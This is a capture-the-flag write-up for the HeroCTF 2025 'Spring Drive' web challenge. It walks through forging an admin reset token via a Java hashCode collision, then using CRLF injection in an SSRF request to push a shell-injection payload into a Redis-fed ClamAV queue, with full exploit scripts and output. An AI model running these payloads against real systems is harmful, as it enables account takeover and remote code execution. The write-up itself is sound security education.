HeroCTF 2025 - Spring Drive

Challenge Description

Description: Find a way to achieve remote code execution in this Java Spring application.
Category: Web
Difficulty: Hard
Author: xanhacks


TL;DR

  • Craft a reset token for the Admin (user ID 1) by exploiting a collision in Java's hashCode().
  • Exploit an authenticated SSRF with CRLF injection to send RESP commands to the Redis db.
  • Inject a payload into the ClamAV queue that leads to Command Injection and retrieves the flag.

Recon and Functionality Walkthrough

We are provided with the source code of the application.
The application is a file storage service built with Spring Boot. It allows users to register, upload files, and manage them. It uses PostgreSQL for data persistence and Redis for queuing ClamAV file scans. The frontend is built with Svelte but is irrelevant to the exploit as there is no admin-bot.

Key endpoints include:

  • /api/auth/register & /api/auth/login: Standard user management.
  • /api/auth/send-password-reset: Generates a reset token and "sends" it (writes to a local file for non-admin users).
  • /api/auth/reset-password: Resets the password using a provided token.
  • /api/file/remote-upload: An Admin-only endpoint that allows fetching a file from a remote URL.

Note: During the first hours, the remote-upload feature was not admin-only, making it possible to bypass an entire part of the challenge. However, the author patched it before I could exploit it!

Taking Over the Admin Account

The first step is to gain administrative access. The ResetPasswordStorage class manages the lifecycle of password reset tokens.

Unsafe token verification

The vulnerability lies in how the application validates tokens in ResetPasswordStorage.java:

public int getUserFromResetPasswordToken(String email, String uniqueToken) {
    ResetPasswordToken resetPasswordToken = new ResetPasswordToken(uniqueToken, email);
    if (resetPasswordTokens.contains(resetPasswordToken)) {
        return Integer.parseInt(uniqueToken.split("\\|")[1]);
    }
    return -1;
}

The method uses ArrayList.contains(), which relies on the equals() method of ResetPasswordToken. If a match is found, it returns the user ID extracted from the provided uniqueToken, not the stored one.

Let's look at ResetPasswordToken.java:

@Override
public boolean equals(Object o) {
    return this.token.split("\\|")[0].equals(((ResetPasswordToken) o).token.split("\\|")[0]) 
        && this.hashCode() == o.hashCode();
}

@Override
public int hashCode() {
    return token.hashCode() + email.hashCode();
}

The equals method considers two tokens equal if:

  1. The first part of the token (the UUID) matches.
  2. The hashCode() of the entire object matches.

The token format is UUID|UserID.

This structure is critical. When we request a password reset for our own user, we get a valid token like UUID_A|1337. The application stores this in the resetPasswordTokens list.

To take over the Admin account (UserID 1), we just need to submit a token that:

  1. Passes the contains() check: It must be "equal" to our stored token (UUID_A|1337).
  2. Embeds the Admin ID: It must look like UUID_A|1|... so that when the application parses the ID after the check, it sees 1.

Because equals() checks the UUID string prefix (UUID_A) and the full object hashCode(), we can construct a collision (as Java's String.hashCode() is not cryptographically secure). We keep the UUID prefix (satisfying the first condition of equals) but change the suffix (the UserID and some padding) to force the hashCode to match our stored token.

Building the Hash Collision

To exploit this, we need to generate a string UUID_A|1|SUFFIX that has the same hash code as UUID_A|1337.

Here is how Java computes the hash of a string (reimplemented in TokenBruteForce.java):

public static int hash(String s) {
    int h = 0;
    for (int i = 0; i < s.length(); i++) {
        h = 31 * h + s.charAt(i);
    }
    return h;
}

It returns an int, which has 2^32 possible values. While feasible to brute-force, a random approach would be inefficient.

Let's simplify the math. The hash function works character by character. For a string ending with a character C, the formula is effectively:
final_hash = (31 * hash_of_prefix) + value_of_C

We want final_hash to equal our target (the hash of the original token).
We can partially control the prefix (by adding junk characters) and we want to find the perfect last character C.

Rearranging the formula gives us exactly what C needs to be:
value_of_C = target - (31 * hash_of_prefix)

So the strategy is:

  1. Generate a random prefix UUID_A|1|junk....
  2. Calculate what the last character should be to hit the target hash.
  3. If that calculated value is a valid character (between 0 and 65535), we win! We append it and we have a collision.
  4. If not, we add another junk character to the prefix and try again.
// 'candidate' here is constructed to simulate the state before adding the final char
// It effectively checks if the difference fits in a char
String collisionBase = resetToken.split("\\|")[0] + "|1|" + junk;
String candidate = collisionBase + "\0"; 
int diff = targetHashCode - hash(candidate);

if (diff >= 0 && diff < Character.MAX_VALUE) {
    // Found it! The collision is the current string + (char)diff
    String collision = collisionBase + (char) diff;
    // ...
}

By using this approach and multithreading, we can find a collision in a reasonable time (usually under 10 seconds).

Resetting the Admin Password

Once we have the collision, we send a request to /api/auth/reset-password:

{
    "email": "user@example.com",
    "token": "UUID_A|1|CollidingSuffix",
    "password": "NewAdminPassword"
}

The application accepts our forged reset-token and updates the password of the Admin account, giving us access to it!

Achieving Remote Code Execution

Now logged in as admin, we can access /api/file/remote-upload, which is an obvious SSRF vector.

Abusing OkHttp to Talk to Redis

The remote-upload endpoint allows the Admin to trigger an HTTP request to a specified URL. It accepts two arguments: remoteUrl and httpMethod. These are passed to the OkHttp library to build the request.

While OkHttp validates the URL, it does not sanitize the httpMethod string. This allows for CRLF Injection (Carriage Return Line Feed).

We can exploit this to communicate with the internal Redis service on localhost:6379. Since Redis uses a simple text-based protocol where commands are separated by newlines, injecting \r\n allows us to "break out" of the HTTP method line and send arbitrary Redis commands.

@PostMapping("/remote-upload")
public JSendDto remoteUploadFile(HttpSession session, @RequestBody RemoteUploadDto remoteUploadDto, BindingResult bindingResult) {
    // ...
    String method = remoteUploadDto.httpMethod();
    String remoteUrl = remoteUploadDto.url();

    OkHttpClient client = new OkHttpClient();
    Request request = new Request.Builder()
        .url(remoteUrl)
        .method(method, null)
        .build();
    // ...
}

When OkHttp constructs the request, it writes the method first: METHOD /path HTTP/1.1.
If we set the method to GET\r\nRPUSH clamav_queue "PAYLOAD"\r\n, the raw bytes sent to Redis look like:

GET
RPUSH clamav_queue "PAYLOAD"
 / HTTP/1.1
Host: localhost:6379
...

Redis processes the GET (invalid command), then executes the RPUSH ... (valid command), and errors out on the rest. This allows us to insert data into the Redis queue.

Target: http://localhost:6379
Method Payload: GET\r\nRPUSH clamav_queue "PAYLOAD"\r\n

Injecting Commands into the ClamAV Queue

The application uses a ClamAVService to scan uploaded files. It reads file paths from a Redis list named clamav_queue.

public boolean isFileClean(String filePath) {
    String command = String.format("clamscan --quiet '%s'", filePath);
    ProcessBuilder processBuilder = new ProcessBuilder("/bin/sh", "-c", command);

    try {
        Process process = processBuilder.start();
        int result = process.waitFor();
        System.out.println("ClamAV scan result for file " + filePath + ": " + result);
        return result == 0;
    } catch (Exception ignored) {
        System.out.println("ClamAV scan failed for file " + filePath);
        logger.error("Unable to scan the file {}", filePath);
    }
    System.out.println("ClamAV scan exception for file " + filePath);
    return false;
}

The service takes the filePath popped from Redis and inserts it directly into a shell command: clamscan --quiet 'filePath'.

This is a classic Command Injection vulnerability. If we can control filePath, we can break out of the single quotes.

Normally, Java's ProcessBuilder escapes arguments properly, but this code uses sh -c to execute a single command string, which is vulnerable to injection.

Retrieving the Flag

We construct a payload that:

  1. Closes the opening quote.
  2. Executes our command.
  3. Comments out the rest.

Payload: '; cat /app/flag_*.txt >> /tmp/emails.txt; #

The resulting command executed by the system will be:
clamscan --quiet ''; cat /app/flag_*.txt >> /tmp/emails.txt; #'

This command reads the flag and appends it to /tmp/emails.txt. This file is readable by any user via the /api/auth/email endpoint (intended for debugging/development).

Full Exploit

Here are my complete exploit scripts:

import java.util.Base64;

public class TokenBruteForce {

    /**
     * Java's String.hashCode() implementation
     */
    public static int hash(String s) {
        int h = 0;
        for (int i = 0; i < s.length(); i++) {
            h = 31 * h + s.charAt(i);
        }
        return h;
    }

    public static void main(String[] args) {

        String resetToken = args.length > 0 ? args[0] : "";
        if (resetToken.isEmpty()) {
            System.out.println("Usage: java TokenBruteForce <resetToken>");
            System.exit(1);
        }

        int targetHashCode = hash(resetToken);


        for (char c = 'a'; c <= 'z'; c++) {
            char finalC = c;
            Thread t = new Thread(() -> worker(resetToken, targetHashCode, finalC));
            t.start();
            System.out.println("Started thread for character: " + c);
        }
    }

    public static void worker(String resetToken, int targetHashCode, char character) {

        StringBuilder adminResetTokenBase = new StringBuilder(resetToken.split("\\|")[0] + "|1|");

        while (true) {
            for (char c = 0; c < Character.MAX_VALUE; c++) {
                String collisionBase = adminResetTokenBase.toString() + c;
                String candidate = collisionBase + "\0";
                int diff = targetHashCode - hash(candidate);

                if (diff >= 0 && diff < Character.MAX_VALUE) {

                    String collision = collisionBase + (char) diff;

                    if (hash(collision) == targetHashCode) {
                        System.out.println("Found collision:");
                        System.out.println("resetToken.hashCode():         " + resetToken.hashCode());
                        System.out.println("collisionCandidate.hashCode(): " + collision.hashCode());

                        String collisionBase64 = Base64.getEncoder().encodeToString(collision.getBytes());
                        System.out.println(collision);
                        System.out.println("Collision candidate (base64): " + collisionBase64);
                        System.out.println(collisionBase64);
                        System.exit(0);
                    }
                }
            }
            adminResetTokenBase.append(character);
        }
    }
}
import requests, secrets, base64, time, subprocess, re
from redis.connection import Connection

URL = "http://dyn01.heroctf.fr:12049"

s = requests.Session()

username = secrets.token_hex(8)
email = "user@example.com"
password = secrets.token_hex(8)


s.post(URL + "/api/auth/register", json={
    "username": username,
    "email": email,
    "password": password,
    "confirmPassword": password
})
print("[+] Registered!")


s.post(URL + "/api/auth/send-password-reset", json={
    "email": email,
})
print("[+] Requested password reset email!")

r3 = s.get(URL + "/api/auth/email")
reset_token = r3.json()["data"][-1].split("token=")[1].split(",")[0]
print(f"[+] Retrieved reset token: '{reset_token}'")

print("[*] Starting brute-force to find collision...")
sp = subprocess.Popen(
    ["java", "TokenBruteForce.java", reset_token],
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
)
out, err = sp.communicate()

reset_token_b64 = out.splitlines()[-1].decode().strip()
reset_token = base64.b64decode(reset_token_b64).decode()
print(f"[+] Found colliding reset token: '{reset_token}'")

r4 = s.post(URL + "/api/auth/reset-password", json={
    "email": "user@example.com",
    "token": reset_token,
    "password": "NewAdminPassword",
})
if "success" in r4.text:
    print("[+] Password reset successful!")
else:
    print("[-] Password reset failed!")
    print(r4.text)
    exit(1)

s.cookies.clear()
r5 = s.post(URL + "/api/auth/login", json={
    "username": "admin",
    "password": "NewAdminPassword",
})
if "success" in r5.text:
    print("[+] Logged in as admin!")
else:
    print("[-] Admin login failed!")
    print(r5.text)
    exit(1)

command = "'; sh -c 'cat /app/flag_*.txt >> /tmp/emails.txt' #"

payload = Connection().pack_command("RPUSH", "clamav_queue", command)[0].decode()

r6 = s.post(URL + "/api/file/remote-upload", json={
    "url": "http://localhost:6379",
    "filename": "exploit.txt",
    "httpMethod": "GET\r\n" + payload + "\r\n"
})
print("[+] Sent ClamAV injection payload")

print("[*] Polling for flag... (this may take a while)")
for i in range(100):
    r7 = s.get(URL + "/api/auth/email")
    match = re.search(r"Hero\{.*?\}", r7.text)
    print(f"[*] Attempt {i+1}: searching for flag...", end="\r")
    if match:
        print()
        print(f"[+] Found flag: {match.group(0)}")
        break
    time.sleep(5)
$ python solve.py
[+] Registered!
[+] Requested password reset email!
[+] Retrieved reset token: '957f61c3-e081-4596-8d59-f496e5db4cf3|2'
[*] Starting brute-force to find collision...
[+] Found colliding reset token: '957f61c3-e081-4596-8d59-f496e5db4cf3|1|ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggꎎ￧'
[+] Password reset successful!
[+] Logged in as admin!
[+] Sent ClamAV injection payload
[*] Polling for flag... (this may take a while)
[*] Attempt 26: searching for flag...
[+] Found flag: Hero{8be9845ab07c17c7f0c503feb0d91184}

Flag: Hero{8be9845ab07c17c7f0c503feb0d91184}


Conclusion

I found this challenge very interesting and enjoyable to solve. Thanks to xanhacks for creating it!